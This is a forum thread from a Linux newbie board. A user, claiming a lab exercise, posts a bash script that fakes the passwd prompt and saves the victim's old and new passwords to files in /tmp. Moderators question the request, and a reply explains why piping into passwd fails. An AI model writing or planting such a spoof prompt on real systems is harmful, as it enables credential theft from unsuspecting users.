LinuxQuestions.org
Help answer threads with 0 replies.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie
User Name
Password
Linux - Newbie This Linux forum is for members that are new to Linux.
Just starting out and have a question? If it is not in the man pages or the how-to's this is the place!

Notices


Reply
  Search this Thread
Old 06-26-2011, 10:01 AM   #1
hayloiuy
LQ Newbie
 
Registered: Apr 2011
Location: Malaysia
Distribution: Ubuntu
Posts: 6

Rep: Reputation: 0
How to change password using a script file and text file?


Ok please don't judge me or anything. This is for educational purpose. In fact it is my lab tutorial for a subject.

I want to capture the users password when he changes his password. Both new and old.

This is the script i have come up with:

Code:
#!/bin/bash
echo "Changing password for user $USER."
echo "(current) UNIX password: "

read hacked

newpass=0
confpass=1
while [ $newpass != $confpass ] 
do
echo "Enter new UNIX password: "
read newpass

echo "Retype new UNIX password: "
read confpass

done

echo $hacked > /tmp/stolen
echo $newpass > /tmp/newstolen


echo $hacked > /tmp/compilestolen
echo $newpass >> /tmp/compilestolen
echo $newpass >> /tmp/compilestolen


#[method 1] echo $hacked $newpass $confpass | passwd

#[method 2] passwd < /tmp/compilestolen.txt
Both method 1 and method 2 doesn't work. It gives the "Authentication token manipulation header" error in the terminal. Why?
 
Click here to see the post LQ members have rated as the most helpful post in this thread.
Old 06-26-2011, 06:20 PM   #2
chrism01
LQ Guru
 
Registered: Aug 2004
Location: Sydney
Distribution: Rocky 9.2
Posts: 18,359

Rep: Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751Reputation: 2751
You may possibly be breaking one of the LQ rules
Quote:
Posts containing information about cracking, piracy, warez, fraud or any topic that could be damaging to either LinuxQuestions.org or any third party will be immediately removed.
OTOH, if this is actually a homework lab it may(?) be ok.
Think I'm going to ask the Mods..
 
Old 06-26-2011, 06:31 PM   #3
Tinkster
Moderator
 
Registered: Apr 2002
Location: earth
Distribution: slackware by choice, others too :} ... android.
Posts: 23,067
Blog Entries: 11

Rep: Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928
To the OP: I'd like to see clarification on the background of
this exercise/ hear from you what the justified objective might
be. Until such time as you provided this I ask our members to
refrain from responding to this thread (wonder how many will
actually read this rather than barging in w/ an answer).


Thanks chrism for the notification.



Cheers,
Tink
 
Old 06-26-2011, 09:39 PM   #4
hayloiuy
LQ Newbie
 
Registered: Apr 2011
Location: Malaysia
Distribution: Ubuntu
Posts: 6

Original Poster
Rep: Reputation: 0
What clarrification you need?

Clarification like my tutorial doc file?
 
Old 06-26-2011, 11:55 PM   #5
Tinkster
Moderator
 
Registered: Apr 2002
Location: earth
Distribution: slackware by choice, others too :} ... android.
Posts: 23,067
Blog Entries: 11

Rep: Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928Reputation: 928
If the tutorial is available on-line, by all means, yes,
that would certainly help.


Cheers,
Tink
 
Old 06-27-2011, 01:13 AM   #6
theNbomr
LQ 5k Club
 
Registered: Aug 2005
Distribution: OpenSuse, Fedora, Redhat, Debian
Posts: 5,399
Blog Entries: 2

Rep: Reputation: 908Reputation: 908Reputation: 908Reputation: 908Reputation: 908Reputation: 908Reputation: 908Reputation: 908
I'll jump in and answer this, but it isn't going to help anyone subvert the password machinery. What you must have realized before you embarked on this little journey is that someone before you might have thought of your scheme, and of course you're right. The people who wrote the passwd tool were also smart enough to predict that there would be people like you, and made the tool so it does not read its input using standard IO, or at least did it in such a way that it requires actual keystrokes to enter the data. As such, it isn't subject to the perils of covert redirection, such as you've tried here. My hunch is that learning that might just be the point of the lesson.

--- rod.
 
2 members found this post helpful.
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] Script to copy paste text from one file to another (overwriting part of the file) freet Programming 4 04-19-2011 03:23 PM
[SOLVED] Need help with script to replace certain text in file with part of the file's name kmkocot Linux - Newbie 2 08-23-2009 04:06 PM
simple php script to add line/file to text file dnoy Programming 1 05-21-2008 05:08 PM
How to find and change a specific text in a text file by using shell script Bassam Programming 1 07-18-2005 07:15 PM
Change Text-File through bash script arkus Programming 2 12-17-2004 08:48 PM

LinuxQuestions.org > Forums > Linux Forums > Linux - Newbie

All times are GMT -5. The time now is 08:51 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration